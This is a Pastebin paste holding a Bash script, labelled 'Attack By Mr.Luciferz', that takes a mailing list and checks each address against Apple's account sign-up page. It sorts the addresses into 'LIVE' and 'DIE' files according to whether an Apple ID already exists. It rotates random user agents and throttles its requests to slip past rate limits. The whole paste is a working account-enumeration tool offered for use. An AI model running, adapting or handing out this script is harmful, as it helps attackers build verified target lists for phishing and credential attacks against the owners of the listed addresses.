Advertisement
MrLuciferz

Untitled

Dec 26th, 2017
484
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.79 KB | None | 0 0
  1. #!/bin/bash
  2. # Powered by : AwesomeNetwork | Fahmi V Squad
  3. # Thanks to : AwesomeNetwork Crew & all
  4.  
  5. header(){
  6. CY='\e[36m'
  7. GR='\e[34m'
  8. OG='\e[92m'
  9. WH='\e[37m'
  10. RD='\e[31m'
  11. YL='\e[33m'
  12. BF='\e[34m'
  13. DF='\e[39m'
  14. OR='\e[33m'
  15. PP='\e[35m'
  16. B='\e[1m'
  17. CC='\e[0m'
  18. cat << "EOF"
  19. _ _ ____ ___ ____ _____ _ _ _____ _____
  20. | | | |/ ___/ _ \| _ \| ____| | \ | | ____|_ _|
  21. | |_| | | | | | | | | | _| | \| | _| | |
  22. | _ | |__| |_| | |_| | |___ _| |\ | |___ | |
  23. |_| |_|\____\___/|____/|_____(_)_| \_|_____| |_|
  24.  
  25.  
  26. // HentaiC0de - Attack By Mr.Luciferz
  27. // Valid Apple V4
  28. // CODE BY AwesomeNetwork Recoded by Mr.Luciferz
  29. // terbiasa.dibaikan@gmail.com
  30. EOF
  31. printf "\n"
  32. }
  33.  
  34. UA=$(cat ua.txt | sort -R | head -1)
  35.  
  36. ngecek_email(){ # CHECK VALID
  37. local jsessionid=$(curl -s --head https://ams.apple.com/pages/SignUp.jsf | grep -Po "(?<=Set-Cookie: JSESSIONID=)[^;]*")
  38. local used=$(curl -s -D - "https://ams.apple.com/pages/SignUp.jsf;jsessionid=$JSESSIONID" \
  39. -H "Cookie: JSESSIONID=$jsessionid;" \
  40. -H "User-Agent: $5" \
  41. -d "SignUpForm=SignUpForm&SignUpForm%3AemailField=$1&SignUpForm%3AblueCenter=Continue&javax.faces.ViewState=j_id1")
  42. if [[ $used =~ "200 OK" ]]; then
  43. if [[ $used =~ "This email address is already registered as an Apple ID, please sign in." ]]; then
  44. printf "${B}${OG}[LIVE]${CC} ${1} => ${PP}(Checked At $(date))${DF} - ${CY}${B}AppleVal | Mr.Luciferz${CC} \n"
  45. echo $1 >> $2
  46. else
  47. printf "${B}${RD}[DIE]${CC} ${1} => ${PP}(Checked At $(date))${DF} - ${CY}${B}AppleVal | Mr.Luciferz${CC} \n"
  48. echo $1 >> $3
  49. fi
  50. else
  51. printf "${B}${OR}[UNKNOWN]${CC} ${1} => ${PP}(Checked At $(date))${DF} - ${CY}${B}AppleVal | Mr.Luciferz${CC} \n"
  52. echo $1 >> $4
  53. fi
  54. }
  55.  
  56. # CHECK SPECIAL VAR FOR MAILIST
  57. if [[ -z $1 ]]; then
  58. header
  59. printf "To Use $0 <mailist.txt> \n"
  60. exit 1
  61. fi
  62.  
  63. # CALL HEADER
  64. header
  65. # CHECK OUTPUT FOLDER
  66. Output='Output' # Change Output Folder
  67. if [[ ! -d $Output ]]; then
  68. printf "${RD}[?]${DF} ${B}Tidak ada Folder Output${CC}\n"
  69. printf "${BF}[+]${DF} ${B}Membuat Folder Output${CC}\n"
  70. mkdir $Output
  71. if [[ -d $Output ]]; then
  72. printf "${OG}[+]${DF} ${B}Folder Output dibuat${CC}\n\n"
  73. else
  74. printf "${RD}[-]${DF} ${B}Folder Output gagal dibuat${CC}\n"
  75. fi
  76. else
  77. printf "${OG}[+]${DF} ${B}Folder Output ada${CC}\n"
  78. printf "${OG}[+]${DF} ${B}Menggunakan Folder Output${CC}\n\n"
  79. fi
  80.  
  81. # TOUCH OUTPUT FILE
  82. VALID="${Output}/valid.txt"
  83. INVALID="${Output}/invalid.txt"
  84. UNKNOWN="${Output}/unknown.txt"
  85. touch $VALID
  86. printf "$OG[+]${DF}${B} $VALID Created${CC}\n"
  87. touch $INVALID
  88. printf "$OG[+]${DF}${B} $INVALID Created${CC}\n"
  89. touch $UNKNOWN
  90. printf "$OG[+]${DF}${B} $UNKNOWN Created${CC}\n\n"
  91.  
  92. # CHECK LINES IN MAILIST
  93. lines=$(wc -l $1 | cut -f1 -d' ')
  94. printf "${OG}[+]${DF}${B} Found ${lines} mailist in ${1}${CC}\n\n"
  95.  
  96. # OPTIONAL
  97. persend=49
  98. setleep=5
  99.  
  100. # MAIN
  101. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
  102. itung=1
  103. STARTTIME=$(date +%s)
  104. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  105. sleep 0.4
  106. username="${mailist[$i]}"
  107. set_kirik=$(expr $itung % $persend)
  108. if [[ $set_kirik == 0 && $itung > 0 ]]; then
  109. sleep $setleep
  110. fi
  111. ngecek_email $username $VALID $INVALID $UNKNOWN $UA &
  112. grep -v -- "$username" $1 > temp && mv temp $1
  113. itung=$[$itung+1]
  114. done
  115. wait
  116. ENDTIME=$(date +%s)
  117.  
  118. # RESULT
  119. printf "\n${PP}It takes $[$ENDTIME - $STARTTIME] seconds To Check ${lines} ${CC}\n"
  120.  
  121. #READ LINES OUTPUT
  122. T_VALID=$(wc -l $VALID | cut -f1 -d' ')
  123. T_INVALID=$(wc -l $INVALID | cut -f1 -d' ')
  124. T_UNKNOWN=$(wc -l $UNKNOWN | cut -f1 -d' ')
  125.  
  126. printf "LIVES : $T_VALID | DIE : $T_INVALID | UNKNOWN : $T_UNKNOWN\n$CC"
  127. printf "${B}${BF}-===[Mr.Luciferz - Valid Apple v9]===-${CC}\n\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement